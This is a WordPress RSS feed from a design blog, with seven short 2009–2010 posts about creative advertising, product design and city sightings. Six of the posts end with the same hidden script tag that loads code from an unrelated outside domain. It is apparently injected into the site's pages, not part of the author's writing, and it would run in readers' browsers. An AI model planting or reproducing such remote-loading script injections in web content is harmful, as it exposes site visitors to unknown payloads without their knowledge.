<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Designthusiast &#187; creative</title>
	<atom:link href="http://janinetoro.com/blog/tag/creative/feed/" rel="self" type="application/rss+xml" />
	<link>http://janinetoro.com/blog</link>
	<description></description>
	<lastBuildDate>Tue, 24 Aug 2010 02:33:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>IdeasThat Stick</title>
		<link>http://janinetoro.com/blog/2010/08/ideasthat-stick/</link>
		<comments>http://janinetoro.com/blog/2010/08/ideasthat-stick/#comments</comments>
		<pubDate>Fri, 13 Aug 2010 18:37:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[advertising]]></category>
		<category><![CDATA[billboard]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[newyork]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=1296</guid>
		<description><![CDATA[On August 3, Post-it /3M celebrated their 30th anniversary and teamed with Publicolor on creating the National Student Design Contest. This contest challenged students in grades 6 to 12 to think about what will happen in their lives in 30 years and create a work of art. This billboard was made of multi-colored Post-it Super [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1297" style="margin-top: 10px; margin-bottom: 10px;" title="postit" src="http://janinetoro.com/blog/wp-content/uploads/2010/08/postit.jpg" alt="" width="429" height="254" /></p>
<p>On August 3, <a href="http://www.post-it.com/" target="_blank">Post-it</a> /3M celebrated their 30th anniversary and teamed with <a href="http://www.publicolor.org/" target="_blank">Publicolor</a> on creating the National Student Design Contest.  This contest challenged students in  grades 6 to 12 to think about what will happen in their lives in 30  years and create a work of art. This billboard was made of multi-colored Post-it Super Sticky Notes and is located in  Grand Central Terminal&#8217;s Vanderbilt Hall in New York City.</p>
<p>via <a href="http://www.artdaily.com/index.asp?int_new=39755&amp;int_sec=2" target="_blank">Art Daily</a> and <a href="http://www.examiner.com/x-16964-NY-Culture-Examiner~y2010m8d3-Billboard-made-with-over-100000-PostIt-Notes-to-be-unveiled-in-Grand-Central-Terminal-today" target="_blank">Examiner</a></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2010/08/ideasthat-stick/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Icon Pillow Collection</title>
		<link>http://janinetoro.com/blog/2009/10/the-icon-pillow-collection/</link>
		<comments>http://janinetoro.com/blog/2009/10/the-icon-pillow-collection/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 17:32:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[productdesign]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=689</guid>
		<description><![CDATA[So I came across these wonderful Mac OS doc icon pillows. I now believe in love at first sight. I absolutely love these! Throwboy created these awesome pillows as well as a bunch of others consisting of RSS, chat and halloween themed doc icon pillows. The set is $149 or $29 each. This would make [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-883" style="margin-bottom: 10px;" title="IMG_0277-410x273" src="http://janinetoro.com/blog/wp-content/uploads/2009/10/IMG_0277-410x2731.jpg" alt="" width="429" height="286" /></p>
<p>So I came across these wonderful Mac OS doc icon pillows. I now believe in love at first sight. I absolutely love these! <a href="http://throwboy.com/" target="_blank">Throwboy</a> created these awesome pillows as well as a bunch of others consisting of RSS, chat and halloween themed doc icon pillows. The set is $149 or $29 each. This would make an excellent gift for the holidays.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/10/the-icon-pillow-collection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>London tube &amp; Shakespeare</title>
		<link>http://janinetoro.com/blog/2009/09/london-tube-shakespeare/</link>
		<comments>http://janinetoro.com/blog/2009/09/london-tube-shakespeare/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 03:06:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[campaign]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[london]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=640</guid>
		<description><![CDATA[A colleague and friend of mine works at INC Design which has a fairly new blog. I checked it out today and came across this interesting blog post about the Royal Shakespeare Company&#8217;s campaign which uses the London Underground system map as an illustration of Shakespeare’s characters, archetypes and their intertwining relationships. This reminding me [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-914" style="margin-bottom: 10px;" title="rscmap1072-1024x799-410x319" src="http://janinetoro.com/blog/wp-content/uploads/2009/09/rscmap1072-1024x799-410x3192.jpg" alt="" width="435" height="339" /></p>
<p>A colleague and friend of mine works at<a href="http://www.incdesign.com/" target="_blank"> INC Design </a>which has a fairly new blog. I checked it out today and came across this interesting blog post about <span>the Royal Shakespeare Company&#8217;s</span> campaign which uses the London Underground system map as an illustration of Shakespeare’s characters, archetypes and their intertwining relationships. This reminding me of my journey to London which was around this time last year. I think the use of a map or other means than a map constitutes thinking outside the box. Please check out the full post on<a href="http://www.incdesign.com/blog/?p=39#more-39" target="_blank"> Royal Shakespeare Company&#8217;s campaign</a>.</p>
<p>via <a href="http://www.incdesign.com/" target="_blank"> INC Design </a><script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/09/london-tube-shakespeare/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2025 Vision for BMW</title>
		<link>http://janinetoro.com/blog/2009/09/2025-vision-for-bmw/</link>
		<comments>http://janinetoro.com/blog/2009/09/2025-vision-for-bmw/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 03:01:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[car]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[productdesign]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=634</guid>
		<description><![CDATA[In today&#8217;s mail pile was my current BMW Magazine. I flipped through and saw these awesome concept car designs for BMW in 2025. Students from an Italian design school submitted their visionary concepts for the BMW brand the future of the look of the BMW car.  I really liked the two above and wonder if [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-918" title="bimmer-392x550" src="http://janinetoro.com/blog/wp-content/uploads/2009/09/bimmer-392x5501.jpg" alt="" width="432" height="606" /></p>
<p><img class="alignleft size-full wp-image-919" style="margin-top: 10px; margin-bottom: 10px;" title="bimmer21-410x246" src="http://janinetoro.com/blog/wp-content/uploads/2009/09/bimmer21-410x2461.jpg" alt="" width="432" height="259" /></p>
<p>In today&#8217;s mail pile was my current BMW Magazine. I flipped through and saw these awesome concept car designs for <a href="http://www.bmwusa.com/" target="_blank">BMW </a>in 2025. Students from an Italian design school submitted their visionary concepts for the BMW brand the future of the look of the BMW car.  I really liked the two above and wonder if this is what cars will really look in the future. If and when this article is available online I will post it.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/09/2025-vision-for-bmw/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Santa Cruz branded USB Flash Drives</title>
		<link>http://janinetoro.com/blog/2009/09/santa-cruz-branded-usb-flash-drives/</link>
		<comments>http://janinetoro.com/blog/2009/09/santa-cruz-branded-usb-flash-drives/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 15:21:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=571</guid>
		<description><![CDATA[I came across these awesome skateboard/snowboard//surfboard 4GB USB drives at Costco. I think I may have to pick these up.]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-958" style="margin-bottom: 10px;" title="446251" src="http://janinetoro.com/blog/wp-content/uploads/2009/09/4462511.jpg" alt="" width="435" height="435" /></p>
<p>I came across these awesome skateboard/snowboard//surfboard 4GB USB drives at <a href="http://www.costco.com/Browse/Product.aspx?Prodid=11488833&amp;whse=BC&amp;Ne=4000000&amp;eCat=BC|79|2109|51746&amp;N=4015748&amp;Mo=27&amp;pos=2&amp;No=4&amp;Nr=P_CatalogName:BC&amp;cat=51746&amp;Ns=P_Price|1||P_SignDesc1&amp;lang=en-US&amp;Sp=C&amp;ec=BC-EC18767-Cat2109&amp;topnav=#" target="_blank">Costco</a>. I think I may have to pick these up.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/09/santa-cruz-branded-usb-flash-drives/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nothing</title>
		<link>http://janinetoro.com/blog/2009/06/nothing/</link>
		<comments>http://janinetoro.com/blog/2009/06/nothing/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 18:38:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[places]]></category>
		<category><![CDATA[adagency]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[interiordesign]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=359</guid>
		<description><![CDATA[Nothing an advertising agency in Amsterdam has created their entire office out of cardboard. Only interlocking the pieces no agent was used to piece it together. The cardboard desks can hold an iMac as seen above. How creative! I wonder what inspired them to do this&#8230;]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-360" title="nothing" src="http://janinetoro.com/blog/wp-content/uploads/2009/06/nothing-410x277.jpg" alt="nothing" width="410" height="277" /></p>
<p><img class="alignleft size-medium wp-image-361" style="margin-top: 10px; margin-bottom: 10px;" title="nothing2" src="http://janinetoro.com/blog/wp-content/uploads/2009/06/nothing2-410x276.jpg" alt="nothing2" width="410" height="276" /></p>
<p><a href="http://www.nothingamsterdam.com/" target="_blank">Nothing</a> an advertising agency in Amsterdam has created their entire office out of cardboard. Only interlocking the pieces no agent was used to piece it together. The cardboard desks can hold an iMac as seen above. How creative! I wonder what inspired them to do this&#8230;<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/06/nothing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bicycle in the city</title>
		<link>http://janinetoro.com/blog/2009/02/bicycle-in-the-city/</link>
		<comments>http://janinetoro.com/blog/2009/02/bicycle-in-the-city/#comments</comments>
		<pubDate>Wed, 04 Feb 2009 02:23:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[creative]]></category>
		<category><![CDATA[nyc]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=190</guid>
		<description><![CDATA[When I was walking to grab some lunch today I saw this bike that had metrocards inside the spokes. Pretty creative right?]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-192" style="margin-bottom: 10px;" title="photo21" src="http://janinetoro.com/blog/wp-content/uploads/2009/02/photo21-410x546.jpg" alt="photo21" width="410" height="546" /></p>
<p>When I was walking to grab some lunch today I saw this bike that had metrocards inside the spokes. Pretty creative right?<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/02/bicycle-in-the-city/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
